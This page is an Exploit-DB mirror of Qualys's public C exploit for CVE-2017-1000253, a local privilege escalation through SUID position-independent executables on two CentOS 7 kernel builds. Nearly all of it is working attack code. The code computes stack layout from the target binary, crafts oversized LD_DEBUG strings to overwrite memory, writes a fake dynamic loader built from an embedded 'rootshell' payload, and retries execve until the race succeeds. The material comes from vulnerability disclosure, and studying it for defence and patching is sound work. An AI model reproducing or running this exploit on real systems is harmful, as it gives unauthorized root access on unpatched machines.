Linux Kernel 3.10.0-514.21.2.el7.x86_64 / 3.10.0-514.26.1.el7.x86_64 (CentOS 7) – SUID Position Independent Executable ‘PIE’ Local Privilege Escalation

  • 作者: Qualys Corporation
    日期: 2017-09-26
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/42887/
  • /*
     * CVE-2017-1000253.c - an exploit for CentOS-7 kernel versions
     * 3.10.0-514.21.2.el7.x86_64 and 3.10.0-514.26.1.el7.x86_64
     * Copyright (C) 2017 Qualys, Inc.
     *
     * This program is free software: you can redistribute it and/or modify
     * it under the terms of the GNU General Public License as published by
     * the Free Software Foundation, either version 3 of the License, or
     * (at your option) any later version.
     *
     * This program is distributed in the hope that it will be useful,
     * but WITHOUT ANY WARRANTY; without even the implied warranty of
     * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.See the
     * GNU General Public License for more details.
     *
     * You should have received a copy of the GNU General Public License
     * along with this program.If not, see <http://www.gnu.org/licenses/>.
    * 
    * E-DB Note: https://www.qualys.com/2017/09/26/linux-pie-cve-2017-1000253/cve-2017-1000253.txt
    * E-DB Note: https://www.qualys.com/2017/09/26/linux-pie-cve-2017-1000253/cve-2017-1000253.c
    * E-DB Note: http://seclists.org/oss-sec/2017/q3/541
    */
    
    /**
    cat > rootshell.c << "EOF"
    #define _GNU_SOURCE
    #include <linux/capability.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <unistd.h>
    #define die() exit(__LINE__)
    static void __attribute__ ((constructor)) status(void) {
    if (dup2(STDIN_FILENO, STDOUT_FILENO) != STDOUT_FILENO) die();
    if (dup2(STDIN_FILENO, STDERR_FILENO) != STDERR_FILENO) die();
    const pid_t pid = getpid();
    if (pid <= 0) die();
    printf("Pid:\t%zu\n", (size_t)pid);
    uid_t ruid, euid, suid;
    gid_t rgid, egid, sgid;
    if (getresuid(&ruid, &euid, &suid)) die();
    if (getresgid(&rgid, &egid, &sgid)) die();
    printf("Uid:\t%zu\t%zu\t%zu\n", (size_t)ruid, (size_t)euid, (size_t)suid);
    printf("Gid:\t%zu\t%zu\t%zu\n", (size_t)rgid, (size_t)egid, (size_t)sgid);
    static struct __user_cap_header_struct header;
    if (capget(&header, NULL)) die();
    if (header.version <= 0) die();
    header.pid = pid;
    static struct __user_cap_data_struct data[2];
    if (capget(&header, data)) die();
    printf("CapInh:\t%08x%08x\n", data[1].inheritable, data[0].inheritable);
    printf("CapPrm:\t%08x%08x\n", data[1].permitted, data[0].permitted);
    printf("CapEff:\t%08x%08x\n", data[1].effective, data[0].effective);
    fflush(stdout);
    for (;;) sleep(10);
    die();
    }
    EOF
    gcc -fpic -shared -nostartfiles -Os -s -o rootshell rootshell.c
    xxd -i rootshell > rootshell.h
    **/
    
    #define _GNU_SOURCE
    #include <elf.h>
    #include <fcntl.h>
    #include <link.h>
    #include <signal.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/resource.h>
    #include <sys/stat.h>
    #include <sys/time.h>
    #include <sys/types.h>
    #include <sys/wait.h>
    #include <unistd.h>
    
    #define mempset(_s, _c, _n) (memset((_s), (_c), (_n)) + (_n))
    
    #define PAGESZ ((size_t)4096)
    #define STACK_ALIGN ((size_t)16)
    #define SUB_STACK_RAND ((size_t)8192)
    #define SAFE_STACK_SIZE ((size_t)24<<10)
    #define MAX_ARG_STRLEN ((size_t)128<<10)
    
    #define INIT_STACK_EXP (131072UL)
    #define STACK_GUARD_GAP (1UL<<20)
    #define MIN_GAP (128*1024*1024UL + (((-1UL) & 0x3fffff) << 12))
    
    #define LDSO "/lib64/ld-linux-x86-64.so.2"
    #define LDSO_OFFSET ((size_t)0x238)
    
    #define die() do { \
    printf("died in %s: %u\n", __func__, __LINE__); \
    exit(EXIT_FAILURE); \
    } while (0)
    
    static const ElfW(auxv_t) * my_auxv;
    
    static unsigned long int
    my_getauxval (const unsigned long int type)
    {
    const ElfW(auxv_t) * p;
    
    if (!my_auxv) die();
    for (p = my_auxv; p->a_type != AT_NULL; p++)
    if (p->a_type == type)
    return p->a_un.a_val;
    die();
    }
    
    struct elf_info {
    uintptr_t rx_start, rx_end;
    uintptr_t rw_start, rw_end;
    uintptr_t dynamic_start;
    uintptr_t data_start;
    };
    
    static struct elf_info
    get_elf_info(const char * const binary)
    {
    struct elf_info elf;
    memset(&elf, 0, sizeof(elf));
    
    const int fd = open(binary, O_RDONLY);
    if (fd <= -1) die();
    struct stat st;
    if (fstat(fd, &st)) die();
    if (!S_ISREG(st.st_mode)) die();
    if (st.st_size <= 0) die();
    #define SAFESZ ((size_t)64<<20)
    if (st.st_size >= (ssize_t)SAFESZ) die();
    const size_t size = st.st_size;
    uint8_t * const buf = malloc(size);
    if (!buf) die();
    if (read(fd, buf, size) != (ssize_t)size) die();
    if (close(fd)) die();
    
    if (size <= LDSO_OFFSET + sizeof(LDSO)) die();
    if (memcmp(buf + LDSO_OFFSET, LDSO, sizeof(LDSO))) die();
    
    if (size <= sizeof(ElfW(Ehdr))) die();
    const ElfW(Ehdr) * const ehdr = (const ElfW(Ehdr) *)buf;
    if (ehdr->e_ident[EI_MAG0] != ELFMAG0) die();
    if (ehdr->e_ident[EI_MAG1] != ELFMAG1) die();
    if (ehdr->e_ident[EI_MAG2] != ELFMAG2) die();
    if (ehdr->e_ident[EI_MAG3] != ELFMAG3) die();
    if (ehdr->e_ident[EI_CLASS] != ELFCLASS64) die();
    if (ehdr->e_ident[EI_DATA] != ELFDATA2LSB) die();
    if (ehdr->e_type != ET_DYN) die();
    if (ehdr->e_machine != EM_X86_64) die();
    if (ehdr->e_version != EV_CURRENT) die();
    if (ehdr->e_ehsize != sizeof(ElfW(Ehdr))) die();
    if (ehdr->e_phentsize != sizeof(ElfW(Phdr))) die();
    if (ehdr->e_phoff <= 0 || ehdr->e_phoff >= size) die();
    if (ehdr->e_phnum > (size - ehdr->e_phoff) / sizeof(ElfW(Phdr))) die();
    
    unsigned int i;
    for (i = 0; i < ehdr->e_phnum; i++) {
    const ElfW(Phdr) * const phdr = (const ElfW(Phdr) *)(buf + ehdr->e_phoff) + i;
    if (phdr->p_type != PT_LOAD) continue;
    if (phdr->p_offset >= size) die();
    if (phdr->p_filesz > size - phdr->p_offset) die();
    if (phdr->p_filesz > phdr->p_memsz) die();
    if (phdr->p_vaddr != phdr->p_paddr) die();
    if (phdr->p_vaddr >= SAFESZ) die();
    if (phdr->p_memsz >= SAFESZ) die();
    if (phdr->p_memsz <= 0) die();
    if (phdr->p_align != 2 * STACK_GUARD_GAP) die();
    
    const uintptr_t start = phdr->p_vaddr & ~(PAGESZ-1);
    const uintptr_t end = (phdr->p_vaddr + phdr->p_memsz + PAGESZ-1) & ~(PAGESZ-1);
    if (elf.rw_end) die();
    
    switch (phdr->p_flags) {
    case PF_R | PF_X:
    if (elf.rx_end) die();
    if (phdr->p_vaddr) die();
    elf.rx_start = start;
    elf.rx_end = end;
    break;
    case PF_R | PF_W:
    if (!elf.rx_end) die();
    if (start <= elf.rx_end) die();
    elf.rw_start = start;
    elf.rw_end = end;
    break;
    default:
    die();
    }
    }
    if (!elf.rx_end) die();
    if (!elf.rw_end) die();
    
    uintptr_t _dynamic = 0;
    uintptr_t _data = 0;
    uintptr_t _bss = 0;
    
    for (i = 0; i < ehdr->e_shnum; i++) {
    const ElfW(Shdr) * const shdr = (const ElfW(Shdr) *)(buf + ehdr->e_shoff) + i;
    if (!(shdr->sh_flags & SHF_ALLOC)) continue;
    if (shdr->sh_addr <= 0 || shdr->sh_addr >= SAFESZ) die();
    if (shdr->sh_size <= 0 || shdr->sh_size >= SAFESZ) die();
    #undef SAFESZ
    const uintptr_t start = shdr->sh_addr;
    const uintptr_t end = start + shdr->sh_size;
    
    if (!(shdr->sh_flags & SHF_WRITE)) {
    if (start < elf.rw_end && end > elf.rw_start) die();
    continue;
    }
    if (start < elf.rw_start || end > elf.rw_end) die();
    if (_bss) die();
    
    switch (shdr->sh_type) {
    case SHT_PROGBITS:
    if (start <= _data) die();
    _data = start;
    break;
    case SHT_NOBITS:
    if (!_data) die();
    _bss = start;
    break;
    case SHT_DYNAMIC:
    if (shdr->sh_entsize != sizeof(ElfW(Dyn))) die();
    if (_dynamic) die();
    _dynamic = start;
    /* fall through */
    default:
    _data = 0;
    break;
    }
    }
    elf.dynamic_start = _dynamic;
    elf.data_start = _data;
    if (!_dynamic) die();
    if (!_data) die();
    if (!_bss) die();
    free(buf);
    return elf;
    }
    
    int
    main(const int my_argc, const char * const my_argv[], const char * const my_envp[])
    {
    {
    const char * const * p = my_envp;
    while (*p++) ;
    my_auxv = (const void *)p;
    }
    if (my_getauxval(AT_PAGESZ) != PAGESZ) die();
    {
    const char * const platform = (const void *)my_getauxval(AT_PLATFORM);
    if (!platform) die();
    if (strcmp(platform, "x86_64")) die();
    }
    if (my_argc != 2) {
    printf("Usage: %s binary\n", my_argv[0]);
    die();
    }
    const char * const binary = realpath(my_argv[1], NULL);
    if (!binary) die();
    if (*binary != '/') die();
    if (access(binary, R_OK | X_OK)) die();
    const struct elf_info elf = get_elf_info(binary);
    if (elf.rx_start) die();
    
    if (sizeof(ElfW(Dyn)) != STACK_ALIGN) die();
    if (elf.dynamic_start % STACK_ALIGN != STACK_ALIGN / 2) die();
    
    const uintptr_t arg_start = elf.rx_end + 2 * STACK_GUARD_GAP + INIT_STACK_EXP + PAGESZ-1;
    if (arg_start >= elf.rw_end) die();
    
    const size_t argv_size = (arg_start - elf.data_start) - (SAFE_STACK_SIZE + 8*8+22*2*8+16+4*STACK_ALIGN + SUB_STACK_RAND);
    printf("argv_size %zu\n", argv_size);
    if (argv_size >= arg_start) die();
    
    const size_t arg0_size = elf.rw_end - arg_start;
    if (arg0_size % PAGESZ != 1) die();
    
    const size_t npads = argv_size / sizeof(char *);
    if (npads <= arg0_size) die();
    
    const size_t smash_size = (elf.data_start - elf.rw_start) + SAFE_STACK_SIZE + SUB_STACK_RAND;
    if (smash_size >= (elf.rw_start - elf.rx_end) - STACK_GUARD_GAP) die();
    if (smash_size + 1024 >= MAX_ARG_STRLEN) die();
    printf("smash_size %zu\n", smash_size);
    
    const size_t hi_smash_size = (SAFE_STACK_SIZE * 3 / 4) & ~(STACK_ALIGN-1);
    printf("hi_smash_size %zu\n", hi_smash_size);
    if (hi_smash_size <= STACK_ALIGN) die();
    if (hi_smash_size >= smash_size) die();
    
    const size_t lo_smash_size = (smash_size - hi_smash_size) & ~(STACK_ALIGN-1);
    printf("lo_smash_size %zu\n", lo_smash_size);
    if (lo_smash_size <= STACK_ALIGN) die();
    
    #define LD_DEBUG_ "LD_DEBUG="
    static char foreground[MAX_ARG_STRLEN];
    {
    char * cp = stpcpy(foreground, LD_DEBUG_);
    cp = mempset(cp, 'A', hi_smash_size - 16);
    cp = mempset(cp, ' ', 1);
    cp = mempset(cp, 'A', 24);
    cp = mempset(cp, ' ', 1);
    cp = mempset(cp, 'A', 1);
    cp = mempset(cp, ' ', DT_SYMTAB + 16 - (24+1 + 1 + DT_NEEDED) % 16);
    cp = mempset(cp, 'A', 80);
    cp = mempset(cp, ' ', 16);
    cp = mempset(cp, 'A', 31);
    cp = mempset(cp, ' ', 1);
    cp = mempset(cp, 'A', 1);
    cp = mempset(cp, ' ', DT_NEEDED + 16 - (31+1 + 1 + DT_STRTAB) % 16);
    cp = mempset(cp, 'A', 80);
    cp = mempset(cp, ' ', 16);
    cp = mempset(cp, 'A', 31);
    cp = mempset(cp, ' ', 1);
    cp = mempset(cp, 'A', 1);
    cp = mempset(cp, ' ', DT_STRTAB + 16 - (31+1 + 1 + 1 + strlen(binary)+1 + sizeof(void *)) % 16);
    cp = mempset(cp, 'A', lo_smash_size - 16);
    if (cp >= foreground + sizeof(foreground)) die();
    if (cp <= foreground) die();
    if (*cp) die();
    if (strlen(foreground) != (size_t)(cp - foreground)) die();
    }
    static char background[MAX_ARG_STRLEN];
    {
    char * cp = stpcpy(background, LD_DEBUG_);
    cp = mempset(cp, 'L', lo_smash_size);
    size_t i;
    for (i = 0; i < (32 + 48 + 96) / sizeof(uint64_t); i++) {
    const uint64_t strtab = 0x8888888888888888UL + 0;
    cp = mempcpy(cp, &strtab, sizeof(uint64_t));
    }
    for (i = 0; i < (32 + 48 + 96) / sizeof(uint64_t); i++) {
    const uint64_t needed = 0x7777777777777778UL + LDSO_OFFSET+1;
    cp = mempcpy(cp, &needed, sizeof(uint64_t));
    }
    cp = mempset(cp, 'H', 32 + 48 + hi_smash_size - 16);
    if (cp >= background + sizeof(background)) die();
    if (cp <= background) die();
    if (*cp) die();
    if (strlen(background) != (size_t)(cp - background)) die();
    if (strlen(background) != strcspn(background, " ,:")) die();
    }
    
    static char pad[MAX_ARG_STRLEN];
    memset(pad, ' ', sizeof(pad)-1);
    if (pad[sizeof(pad)-1]) die();
    if (strlen(pad) != sizeof(pad)-1) die();
    if (sizeof(pad) % STACK_ALIGN) die();
    {
    double probability = npads * sizeof(pad) - (128<<20);
    probability *= probability / 2;
    probability /= (16UL<<30);
    probability /= ( 1UL<<40);
    printf("probability 1/%zu\n", (size_t)(1 / probability));
    }
    
    static char arg0[MAX_ARG_STRLEN];
    if (arg0_size >= sizeof(arg0)) die();
    if (arg0_size <= 0) die();
    memset(arg0, ' ', arg0_size-1);
    static char arg2[MAX_ARG_STRLEN];
    
    const size_t nargs = 3 + npads - (arg0_size-1);
    char ** const argv = calloc(nargs + 1, sizeof(char *));
    if (!argv) die();
    {
    char ** ap = argv;
    *ap++ = arg0;
    *ap++ = "--help";
    *ap++ = arg2;
    size_t n;
    for (n = ap - argv; n < nargs; n++) {
    *ap++ = pad;
    }
    if (ap != argv + nargs) die();
    if (*ap) die();
    }
    
    const size_t nenvs = 2 + arg0_size-1;
    char ** const envp = calloc(nenvs + 1, sizeof(char *));
    if (!envp) die();
    {
    char ** ep = envp;
    *ep++ = background;
    *ep++ = foreground;
    size_t n;
    for (n = ep - envp; n < nenvs; n++) {
    *ep++ = pad;
    }
    if (ep != envp + nenvs) die();
    if (*ep) die();
    }
    
    {
    size_t len = strlen(binary)+1 + sizeof(void *);
    char * const * const __strpp[] = { argv, envp, NULL };
    char * const * const * strpp;
    for (strpp = __strpp; *strpp; strpp++) {
    char * const * strp;
    for (strp = *strpp; *strp; strp++) {
    len += strlen(*strp) + 1;
    }
    }
    len = 1 + PAGESZ - len % PAGESZ;
    memset(arg2, ' ', len);
    }
    
    {
    if (npads * sizeof(pad) + (1<<20) >= MIN_GAP / 4) die();
    const struct rlimit rlimit_stack = { MIN_GAP, MIN_GAP };
    if (setrlimit(RLIMIT_STACK, &rlimit_stack)) die();
    }
    const int dev_null = open("/dev/null", O_WRONLY);
    if (dev_null <= -1) die();
    
    {
    static char ldso[] = "." LDSO;
    char * const slash = strrchr(ldso, '/');
    if (!slash) die();
    *slash = '\0';
    mkdir(ldso, 0755);
    *slash = '/';
    
    const int fd = open(ldso, O_WRONLY | O_CREAT | O_TRUNC | O_NOFOLLOW, 0755);
    if (fd <= -1) die();
    static const
    #include "rootshell.h"
    if (write(fd, rootshell, rootshell_len) != (ssize_t)rootshell_len) die();
    if (close(fd)) die();
    }
    
    size_t try;
    for (try = 1; try; try++) {
    if (fflush(stdout)) die();
    const pid_t pid = fork();
    if (pid <= -1) die();
    if (pid == 0) {
    if (dup2(dev_null, STDOUT_FILENO) != STDOUT_FILENO) die();
    if (dup2(dev_null, STDERR_FILENO) != STDERR_FILENO) die();
    if (dev_null > STDERR_FILENO) if (close(dev_null)) die();
    execve(binary, argv, envp);
    die();
    }
    int status = 0;
    struct timeval start, stop, diff;
    if (gettimeofday(&start, NULL)) die();
    if (waitpid(pid, &status, WUNTRACED) != pid) die();
    if (gettimeofday(&stop, NULL)) die();
    timersub(&stop, &start, &diff);
    printf("try %zu %ld.%06ld ", try, diff.tv_sec, diff.tv_usec);
    
    if (WIFSIGNALED(status)) {
    printf("signal %d\n", WTERMSIG(status));
    switch (WTERMSIG(status)) {
    case SIGKILL:
    case SIGSEGV:
    case SIGBUS:
    break;
    default:
    die();
    }
    } else if (WIFEXITED(status)) {
    printf("exited %d\n", WEXITSTATUS(status));
    } else if (WIFSTOPPED(status)) {
    printf("stopped %d\n", WSTOPSIG(status));
    die();
    } else {
    printf("unknown %d\n", status);
    die();
    }
    }
    die();
    }